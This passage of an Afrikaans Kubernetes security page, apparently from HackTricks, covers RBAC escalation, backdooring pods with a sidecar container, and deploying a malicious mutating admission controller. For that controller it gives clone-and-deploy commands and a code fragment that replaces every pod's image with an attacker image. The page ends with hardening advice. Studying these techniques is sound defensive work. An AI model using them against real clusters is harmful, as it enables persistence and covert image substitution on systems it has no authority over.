> Daar is 'n uitsondering op die vorige reël. As 'n prinsipaal die **verb `escalate`** oor **`roles`** of **`clusterroles`** het, kan hy die bevoegdhede van roles en clusterroles verhoog selfs sonder om die toestemmings self te hê.

### **Get & Patch RoleBindings/ClusterRoleBindings**

> [!CAUTION]
> **Blykbaar het hierdie tegniek voorheen gewerk, maar volgens my toetse werk dit nie meer nie om dieselfde rede wat in die vorige afdeling verduidelik is. Jy kan nie 'n rolebinding skep/wysig om jouself of 'n ander SA sekere bevoegdhede te gee as jy dit nie reeds het nie.**

Die bevoegdheid om Rolebindings te skep stel 'n gebruiker in staat om **roles aan 'n service account te bind**. Hierdie bevoegdheid kan moontlik tot privileegeskalasie lei omdat dit **die gebruiker in staat stel om admin-bevoegdhede aan 'n gekompromitteerde service account te bind.**

## Ander aanvalle

### Sidecar proxy app

Standaard is daar geen enkripsie in die kommunikasie tussen pods nie. Wederkerige autentisering, twee-rigting, pod-na-pod.

#### Skep 'n sidecar proxy-app

'n Sidecar-container bestaan eenvoudig uit die toevoeging van 'n **tweede (of meer) container binne 'n pod**.

Byvoorbeeld, die volgende is deel van die konfigurasie van 'n pod met 2 containers:
```yaml
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
```
Byvoorbeeld, om 'n bestaande pod met 'n nuwe container te backdoor, kan jy net 'n nuwe container by die spesifikasie voeg. Neem kennis dat jy die tweede container **meer permissies kan gee** wat die eerste nie sal hê nie.

More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)

### Kwaadwillige Admission Controller

'n admission controller **kap versoeke na die Kubernetes API server af** voor die objek gestoor word, maar **nadat die versoek geauthentiseer is** **en geautoriseer is**.

As 'n aanvaller op een of ander manier daarin slaag om **om 'n Mutation Admission Controller in te spuit**, sal hy in staat wees om **reeds geauthentiseerde versoeke te wysig**. Dit kan potensieel privesc moontlik maak, en dit bly gewoonlik voort in die cluster.

**Voorbeeld van** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
```bash
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
```
Kontroleer die status om te sien of dit gereed is:
```bash
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
```
![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp)

Dan ontplooi 'n nuwe pod:
```bash
kubectl run nginx --image nginx
kubectl get po -w
```
Wanneer jy die `ErrImagePull`-fout sien, kontroleer die image-naam met een van die navrae:
```bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
```
![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp)

Soos jy in die prent hierbo kan sien, het ons probeer om die image `nginx` te laat loop, maar die finale uitgevoerde image is `rewanthtammana/malicious-image`. Wat het nou gebeur!!?

#### Tegniese besonderhede

Die `./deploy.sh` skrip stel 'n mutating webhook admission controller op, wat versoeke na die Kubernetes API wysig soos in sy konfigurasielyne gespesifiseer, en sodoende die waargenome uitkomste beïnvloed:
```
patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
```
Die bostaande fragment vervang die eerste container image in elke pod met `rewanthtammana/malicious-image`.

## OPA Gatekeeper bypass

{{#ref}}
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
{{#endref}}

## Beste praktyke

### **Uitskakeling van die automatiese montering van Service Account-tokens**

- **Pods and Service Accounts**: Standaard mount pods 'n service account token. Om sekuriteit te verbeter, laat Kubernetes toe om hierdie automount-funksie te deaktiveer.
- **How to Apply**: Stel `automountServiceAccountToken: false` in die konfigurasie van service accounts of pods vanaf Kubernetes weergawe 1.6.

### **Restriktiewe gebruikerstoekenning in RoleBindings/ClusterRoleBindings**

- **Selective Inclusion**: Verseker dat slegs nodige gebruikers in RoleBindings of ClusterRoleBindings ingesluit is. Oudits gereeld en verwyder irrelevante gebruikers om noue sekuriteit te handhaaf.

### **Namespace-spesifieke Roles bo Cluster-wye Roles**

- **Roles vs. ClusterRoles**: Voorkeur vir die gebruik van Roles en RoleBindings vir namespace-spesifieke permisies eerder as ClusterRoles en ClusterRoleBindings, wat cluster-wyd toegepas word. Hierdie benadering bied fynere beheer en beperk die omvang van permisies.

### **Gebruik geoutomatiseerde gereedskap**

{{#ref}}
https://github.com/cyberark/KubiScan
{{#endref}}

{{#ref}}
https://github.com/aquasecurity/kube-hunter
{{#endref}}

{{#ref}}
https://github.com/aquasecurity/kube-bench
{{#endref}}

## **Verwysings**

- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)
- [websocat](https://github.com/vi/websocat)

{{#include ../../../banners/hacktricks-training.md}}
